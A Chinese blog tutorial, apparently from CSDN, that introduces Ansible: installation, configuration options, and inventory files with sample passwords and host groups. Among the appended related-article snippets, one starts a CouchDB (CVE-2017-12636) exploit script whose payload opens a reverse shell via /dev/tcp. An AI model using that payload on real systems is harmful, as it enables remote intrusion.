当前位置: 首页 > news >正文

Ansible自动化运维(一)简介及部署、清单

👨‍🎓博主简介

  🏅云计算领域优质创作者
  🏅华为云开发者社区专家博主
  🏅阿里云开发者社区专家博主
💊交流社区:运维交流社区 欢迎大家的加入!
🐋 希望大家多多支持,我们一起进步!😄
🎉如果文章对你有帮助的话,欢迎 点赞 👍🏻 评论 💬 收藏 ⭐️ 加关注+💗


文章目录

  • 一、自动化运维
    • 1.1 什么是自动化运维
    • 1.2 运维自动化解决的问题
    • 1.3 自动化运维分类工具
    • 1.4 自动化运维工具对比
  • 二、Ansible
    • 2.1 Ansible简介
    • 2.2 Ansible的优势
    • 2.3 Ansible的架构
    • 2.4 Ansible模式
    • 2.5 Ansible部署
      • 2.5.1 Ansible参数
      • 2.5.2 Ansible主机清单
      • 2.5.3 主机清单配置规则
  • 三、相关文章

一、自动化运维

1.1 什么是自动化运维

  自动化运维是指将日常运维的、大量的重复性工作自动化,把手工执行的工作,通过梳理分析,进行逻辑分解,借助平台或工具转为自动化操作。自动化是IT运维工作的升华,IT运维自动化不单纯是一个维护过程,更是一个管理的提升过程,是运维的更高层次,也是未来的发展趋势。

1.2 运维自动化解决的问题

  • 项目整体工作效率提升;

  • 减少人为误操作;

  • 方便信息传递,配置类信息聚合,信息链更完整;

  • 事务留痕,方便跟踪,追述;

  • 运维工作更加轻松、灵动;

  • 提升运维工作价值,管理更多资源,更多服务对象;

1.3 自动化运维分类工具

  • 系统安装:PXE,Cobbler

  • 应用程序配置:Puppet,Ansible,Saltstack

  • 命令执行与控制:Fabric,Func,Ansible

  • 程序发布:git/svn(版本管理),Jenkins/Gitlab-runner(持续集成)

1.4 自动化运维工具对比

此处只对比Puppet,Ansible,Saltstack

PuppetSaltstackAnsible
开发语言Ruby语言Python语言Python语言
是否支持客户端有(salt-ssh无客户端)
是否支持二次开发不支持支持支持
通信加密标准的SSL加密AES加密OpenSSH
平台支持AIX , BSD, HP-UX, Linux , Mac OSX , Solaris, WindowsBSD, Linux , Mac OS X , Solaris, WindowsAIX , BSD , HP-UX , Linux , Mac OS X , Solaris
是否提供web UI商用提供
配置文件语法Ruby语法格式YAMLYAML
命令行执行不支持(配置实现)支持支持

二、Ansible

2.1 Ansible简介

  Ansible是一款使用Python开发,模块化,依赖于ssh协议实现的自动化统一配置管理工具,自动化主要体现在Ansible集成了丰富模块以及功能组件,可以通过一个命令完成一系列的操作,进而能减少重复性的工作和维护成本,可以提高工作效率。

官网地址:www.ansible.com

2.2 Ansible的优势

  • 安装部署简单(主控端安装ansible,不需要额外安装客户端)
  • 基于ssh现有协议实现的 (1.3以上)
  • Ansible没有守护进程,不需要启动
  • 日志集中在主控端,方便错误排查
  • 简单易用,不需要有编程基础
  • 通过模块实现,功能强大

2.3 Ansible的架构

在这里插入图片描述

1、主机清单Inventory定义Ansible需要操作主机的范围

2、剧本Playbook Ansible的配置文件,将多个任务定义在剧本中,由ansible自动执行

3、核心模块Core Modules连接主机实现操作, 它依赖于具体的模块来做具体的事情

4、自定义模块Custom Modules根据自己的需求编写具体的模块

5、连接插件Connection Plugins用于连接主机 用来连接被管理端

6、插件Plugins完成模块功能的补充

最重要的一点是:Ansible是模块化的,它所有的操作都依赖于模块。

2.4 Ansible模式

Ansible中有两种模式:分别是ad-hoc模式和playbook模式;

  • ad-hoc:简而言之,就是“临时命令”,不会保存;

  • playbook:翻译过来就是剧本,在文件中保存执行的流程;

Ansible与SaltStack对比:

相同点:

1.都是使用python语言开发的

2.都具有二次开发的特性

3.执行命令都支持Ad-hoc模式 (临时命令,执行完就返回)

4.都可以通过YAML格式文件批量执行

5.返回的结果都是JSON数据,便于后续处理

不同点:

1.Ansible部署更简单,没有客户端,而Saltstack有客户端;

2.Saltstack的响应速度要比Ansible更快;Ansible通过SSH协议实现,Saltstack使用了ZeroMQ实现通信;

3.Ansible更加安全,SSH加密传输

4.Saltstack对于Windows支持更友好,Ansible通过Power Shell来管理Windows

5.Ansible维护简单,没有客户端,没有守护进程;saltstack需要有Master和minion,主机要启动一个守护进程。

2.5 Ansible部署

Ansible部署时直接使用阿里云的基础源与epel扩展源可以直接安装;

# 先拉取epel扩展源
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo# 更新yum源
yum makecache fast# 安装Ansible
yum -y install ansible# 查看Ansible版本
[root@localhost ~]# ansible --versionansible 2.9.27config file = /etc/ansible/ansible.cfgconfigured module search path = [u'/root/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules']ansible python module location = /usr/lib/python2.7/site-packages/ansibleexecutable location = /usr/bin/ansiblepython version = 2.7.5 (default, Aug  7 2019, 00:51:29) [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)]

在这里插入图片描述

2.5.1 Ansible参数

  • 常用参数
-m          #指定使用的模块名称,不指定默认使用command模块
-a          #使用的模块参数,模块的具体动作;指定要执行的具体命令
--syntax-check      #验证语法
  • 不常用参数
#不常用参数
--version   #ansible版本信息
-v          #显示详细信息
-i          #主机清单文件路径,默认是在/etc/ansible/hosts
-k          #提示输入ssh密码,而不使用基于ssh的密钥认证
-C          #模拟执行测试,但不会真的执行
-T          #执行命令的超时
-f  		#一次返回几个结果
  • ansible帮助命令
ansible-doc 		#帮助命令 
ansible-doc -l   	#列出所以的模块
ansible-doc 模块名   #查看模块的详细信息
ansible-doc 模块名 -s  #查看模块的选项使用说明

2.5.2 Ansible主机清单

主机资产清单,用于定义被管理主机的认证信息, 例如ssh登录用户名、密码以及key相关信息。

# 查看ansible配置文件路径
[root@localhost ~]# rpm -qc ansible
/etc/ansible/ansible.cfg
/etc/ansible/hosts

主机清单位置:默认是/etc/ansible/hosts

ansible -i 指定主机清单

在ansible配置文件ansible.cfg中指定默认的主机清单文件,文件路径:/etc/ansible/ansible.cfg

  • ansible.cfg常用配置解析
[defaults]
#inventory      = /etc/ansible/hosts      #主机列表配置文件
#library        = /usr/share/my_modules/  #库文件存放目录
#remote_tmp     = ~/.ansible/tmp          #临时py文件存放在远程主机目录
#local_tmp      = ~/.ansible/tmp          #本机的临时执行目录
#forks          = 5                       #默认并发数
#sudo_user      = root                    #默认sudo用户
#ask_sudo_pass = True                     #每次执行是否询问sudo的ssh密码
#ask_pass      = True                     #每次执行是否询问ssh密码
#remote_port    = 22                      #远程主机端口
host_key_checking = False                 #跳过检查主机指纹
log_path = /var/log/ansible.log           #ansible日志#普通用户提权操作
[privilege_escalation]
#become=True
#become_method=sudo
#become_user=root
#become_ask_pass=False

如果不配置host_key_checking log_path,会导致报错;
不配置host_key_checking 会导致,执行ansible命令的时候报错:

172.16.11.209 | FAILED | rc=-1 >>
Using a SSH password instead of a key is not possible because Host Key checking is enabled and sshpass does not support this.  Please add this host's fingerprint to your known_hosts file to manage this host.

配置 log_path 是为了更好的排查问题所在;

2.5.3 主机清单配置规则

(在/etc/ansible/hosts中配置)

主机:

1.可以使用主机名(域名)或IP地址

2.支持主机名通配以及正则表达式

3.支持指定主机定义不同的变量,包括密码,端口号,用户等等

1)单主机配置

# 方式一: ip + 端口 + 用户名 + 用户密码
[root@localhost ansible]# vim /etc/ansible/hosts 
[web01]
172.16.11.209 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass='123123'
[web02]
172.16.10.232 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass='123123'# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web01 -m ping
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}[root@localhost ansible]# ansible web02 -m ping
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}

在这里插入图片描述

如果遇到以下报错:

在这里插入图片描述

在ansible.cfg配置文件中开启这两个:(将注释注销了)

host_key_checking = False #跳过检查主机指纹
log_path = /var/log/ansible.log #ansible日志

# 方式二: ip + 用户密码
[root@localhost ansible]# vim /etc/ansible/hosts 
[web01]
172.16.11.209 ansible_ssh_pass='123123'
[web02]
172.16.10.232 ansible_ssh_pass='123123'# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web01 -m ping
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
[root@localhost ansible]# ansible web02 -m ping
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}#没有定义用户时,默认使用当前登录用户;

在这里插入图片描述

2)多主机配置

#IP+端口+密码
[root@localhost ansible]# vim /etc/ansible/hosts 
[web]
172.16.11.209 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass='123123'
172.16.10.232 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass='123123'# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web -m ping
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}

在这里插入图片描述

主机组:

1.嵌套 [组名:children]

2.对组定义变量 [组名:vars]

#主机组变量+主机+密码
[root@localhost ansible]# vim /etc/ansible/hosts 
[web_group]
172.16.11.209
172.16.10.232[web_group:vars]
ansible_ssh_pass='123123'# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web_group -m ping
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
#定义多组,多组嵌套# webservers组包括两个子组[apache,nginx]
[root@localhost ansible]# vim /etc/ansible/hosts 
#定义总ip
[web_group]
172.16.11.209
172.16.10.232
172.16.10.129#apache有两台
[apache]
172.16.11.209
172.16.10.232#nginx有一台
[nginx]
172.16.10.129 ansible_ssh_pass='csnginx123'#定义密码
[apache:vars]
ansible_ssh_pass='123123'[web_group:children]
apache
nginx# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web_group -m ping
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.10.129 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}[root@localhost ansible]# ansible apache -m ping
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}[root@localhost ansible]# ansible nginx -m ping
172.16.10.129 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}

除了可以使用密码连接,也可以配置秘钥,实现免密登陆,此时主机配置文件中不需要指定密码

1.生成密钥对
[root@localhost ansible]# ssh-keygen2.推送公钥
[root@localhost ansible]# ssh-copy-id 172.16.11.209
[root@localhost ansible]# ssh-copy-id 172.16.10.232

这时候配置hosts时就不需要指定密码了。

三、相关文章

文章标题文章链接
Ansible自动化运维(一)简介及部署、清单https://liucy.blog.csdn.net/article/details/133769300
Ansible自动化运维(二)ad-hoc 模式详解https://liucy.blog.csdn.net/article/details/133772023
Ansible自动化运维(三)Playbook 模式详解https://liucy.blog.csdn.net/article/details/133899966
Ansible自动化运维(四)jinja2 模板、Roles角色详解https://liucy.blog.csdn.net/article/details/133994509

相关文章:

Ansible自动化运维(一)简介及部署、清单

👨‍🎓博主简介 🏅云计算领域优质创作者   🏅华为云开发者社区专家博主   🏅阿里云开发者社区专家博主 💊交流社区:运维交流社区 欢迎大家的加入! 🐋 希望大家多多支…...

深度学习MLP_实战演练使用感知机用于感情识别_keras

目录 (1)why deep learning is game changing?(2)it all started with a neuron(3)Perceptron(4)Perceptron for Binary Classification(5)put it all toget…...

[ffmpeg系列 02] 音视频基本知识

一 视频 RGB&#xff1a; AV_PIX_FMT_RGB24, ///< packed RGB 8:8:8, 24bpp, RGBRGB… Y&#xff1a;明亮度, Luminance或luma, 灰阶图&#xff0c; UV&#xff1a;色度&#xff0c;Chrominance或Chroma。 YCbCr: Cb蓝色分量&#xff0c;Cr是红色分量。 取值范围&#xff…...

【ASP.NET Core 基础知识】--目录

介绍 1.1 什么是ASP.NET Core1.2 ASP.NET Core的优势1.3 ASP.NET Core的版本历史 环境设置 2.1 安装和配置.NET Core SDK2.2 使用IDE&#xff08;Integrated Development Environment&#xff09;&#xff1a;Visual Studio Code / Visual Studio 项目结构 3.1 ASP.NET Core项…...

java数据结构与算法刷题-----LeetCode509. 斐波那契数

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 很多人觉得动态规划很难&#xff0c;但它就是固定套路而已。其实动态规划只…...

vue3 element plus el-table封装(二)

上文是对el-table的基本封装&#xff0c;只能满足最简单的应用&#xff0c;本文主要是在上文的基础上增加slot插槽&#xff0c;并且对col插槽进行拓展&#xff0c;增加通用性 // BaseTable.vue <template><el-table><template v-for"name in tableSlots&…...

cnn lstm结合网络

目录 特征处理例子&#xff1a; cnn 5张图片一组&#xff0c;提取特征后&#xff0c;再给lstm&#xff0c;进时间序列分类。 特征处理例子&#xff1a; import torch# 假设 tensor 是形状为 15x64 的张量 tensor torch.arange(15 * 2).reshape(15, 2) # 生成顺序编号的张量&…...

Ubuntu连接xshell

安装ssh服务器 sudo apt-get install openssh-server​ 重启ssh sudo service ssh restart 3.启动ssh服务 /etc/init.d/ssh start4.修改文件&#xff0c;允许远程登陆 sudo vi /etc/ssh/sshd_config PermitRootLogin prohibit-password #默认为禁止登录 PermitRootLogin y…...

nginx安装和配置

目录 1.安装 2.配置 3.最小配置说明 4. nginx 默认访问路径 1.安装 使用 epel 源安装 先安装 yum 的扩展包 yum install epel-release -y 再安装 nginx yum install nginx -y 在启动nginx 前先关闭防火墙 systemctl stop firewalld 取消防火墙开机自启 systemctl di…...

【头歌实训】kafka-入门篇

文章目录 第1关&#xff1a;kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关&#xff1a;生产者 &#xff08;Producer &#xff09; - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Ka…...

华为云创新中心,引领浙南的数字化腾飞

编辑&#xff1a;阿冒 设计&#xff1a;沐由 县域经济是我国国民经济的重要组成部分&#xff0c;是推动经济社会全面发展的核心力量之一。在推进中国式现代化的征程中&#xff0c;县域经济扮演的角色也越来越重要。 毫无疑问&#xff0c;县域经济的良性发展&#xff0c;需要多方…...

240101-5步MacOS自带软件无损快速导出iPhone照片

硬件准备&#xff1a; iphone手机Mac电脑数据线 操作步骤&#xff1a; Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3&#xff1a;iphone与电脑提示“是否授权“&#xff1f; >>> “是“Step 4&#xff1a;左上角选择自己的设…...

github鉴权失败

问题&#xff1a; 如上图所示 git push 时发生了报错&#xff0c;鉴权失败&#xff1b; 解决方案 Settings->Developer settings->Personal access tokens->Generate new token。创建新的访问密钥&#xff0c;勾选repo栏&#xff0c;选择有效期&#xff0c;为密钥命…...

2023湾区产城创新大会:培育数字化供应链金融新时代

2023年12月26日&#xff0c;由南方报业传媒集团指导&#xff0c;南方报业传媒集团深圳分社主办的“新质新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表&#xff0c;以新兴产业发展为议题&#xff0c;…...

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测 目录 多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预…...

二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)

目录 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 方法二&#xff1a;传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...

SQL之CASE WHEN用法详解

目录 一、简单CASE WHEN函数&#xff1a;二、CASE WHEN条件表达式函数三、常用场景 场景1&#xff1a;不同状态展示为不同的值场景2&#xff1a;统计不同状态下的值场景3&#xff1a;配合聚合函数做统计场景4&#xff1a;CASE WHEN中使用子查询场景5&#xff1a;经典行转列&am…...

Ubuntu 18.04搭建RISCV和QEMU环境

前言 因为公司项目代码需要在RISCV环境下测试&#xff0c;因为没有硬件实体&#xff0c;所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译&#xff0c;地址为&#xff1a;https://…...

立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法

近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...

Couchdb 任意命令执行漏洞(CVE-2017-12636)

一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...

[Cesium] 数字孪生实践 | 超图插件打通UE4/Unity三维GIS管线全解析

1. 数字孪生与三维GIS技术融合的现状 数字孪生技术正在改变我们理解和构建物理世界的方式。简单来说&#xff0c;数字孪生就是通过数字化手段&#xff0c;在虚拟空间中创建一个与真实世界完全对应的"双胞胎"。这个数字化的双胞胎可以实时反映真实世界的状态&#xff…...

基于代理建模与系统仿真的唐代政治制度数字重构

1. 项目概述与核心价值最近在开源社区里&#xff0c;我注意到一个名为“Tang-Political-System”的项目&#xff0c;它的名字直译过来是“唐代政治制度”。作为一个对历史、制度设计以及开源协作模式都抱有浓厚兴趣的开发者&#xff0c;这个项目立刻引起了我的注意。它并非一个…...

别再手动配置时钟树了!用STM32CubeMX 6.10 + Keil MDK 5分钟搞定LED闪烁工程

5分钟极速开发&#xff1a;STM32CubeMX图形化工具颠覆传统嵌入式开发模式 第一次接触STM32开发时&#xff0c;面对密密麻麻的寄存器手册和复杂的时钟树配置&#xff0c;我花了整整三天才让一个LED灯闪烁起来。直到发现STM32CubeMX这个神器——它彻底改变了嵌入式开发的入门门槛…...

基于LLM与LangChain的智能项目管理Agent:架构设计与工程实践

1. 项目概述&#xff1a;一个面向项目管理的智能体框架 最近在开源社区里&#xff0c;我注意到一个名为 gannonh/agent-pm 的项目开始受到一些关注。乍一看这个名字&#xff0c;你可能会联想到“项目经理”或者“项目管理”&#xff0c;没错&#xff0c;这个项目的核心定位&…...

Page Assist终极指南:5分钟为浏览器安装本地AI助手,彻底告别云端依赖

Page Assist终极指南&#xff1a;5分钟为浏览器安装本地AI助手&#xff0c;彻底告别云端依赖 【免费下载链接】page-assist Use your locally running AI models to assist you in your web browsing 项目地址: https://gitcode.com/GitHub_Trending/pa/page-assist 想要…...

对抗测试框架:用字节码增强与混沌工程提升系统韧性

1. 项目概述&#xff1a;一个对抗测试的“剧院”最近在开源社区里&#xff0c;我注意到一个名字挺有意思的项目&#xff0c;叫nanami7777777/anti-test-theater。乍一看&#xff0c;这个标题有点让人摸不着头脑——“反测试剧院”&#xff1f;测试和剧院能扯上什么关系&#xf…...

国家十四五课题背书,镜像视界无感定位解决ReID跨镜全场景痛点

国家十四五课题背书&#xff0c;镜像视界无感定位解决ReID跨镜全场景痛点在数字孪生、视频孪生技术全面落地的当下&#xff0c;全域跨镜目标追踪与精准定位已成为智慧安防、智慧园区、智慧港口、军工厂管控、危化品园区管理等领域的核心刚需。传统跨镜追踪技术长期依赖ReID&…...

开源实时监控告警引擎OpenAlerts:从原理到生产部署实战

1. 项目概述&#xff1a;一个开源的实时监控与告警引擎在运维、开发和业务监控的日常工作中&#xff0c;我们常常面临一个核心痛点&#xff1a;如何从海量的日志、指标和事件数据中&#xff0c;快速、准确地识别出异常&#xff0c;并及时通知到正确的人。市面上的商业监控方案功…...

基于CircuitPython与BLE的无线手势鼠标:从传感器到HID设备的实践

1. 项目概述与核心思路想没想过&#xff0c;你手里的那块开发板&#xff0c;除了点灯、读传感器&#xff0c;还能直接变成你电脑的鼠标&#xff1f;不是通过USB线&#xff0c;而是像你的蓝牙耳机一样&#xff0c;无线连接&#xff0c;靠手腕的晃动来控制光标。这个想法听起来有…...

基于Slack与AI的IDE智能助手:架构设计与实战部署

1. 项目概述&#xff1a;当你的IDE拥有了“光标智能体” 如果你是一名开发者&#xff0c;每天在IDE&#xff08;集成开发环境&#xff09;里敲代码的时间超过8小时&#xff0c;那你一定对这样的场景不陌生&#xff1a;光标在代码行间跳跃&#xff0c;你正试图理解一个复杂的函…...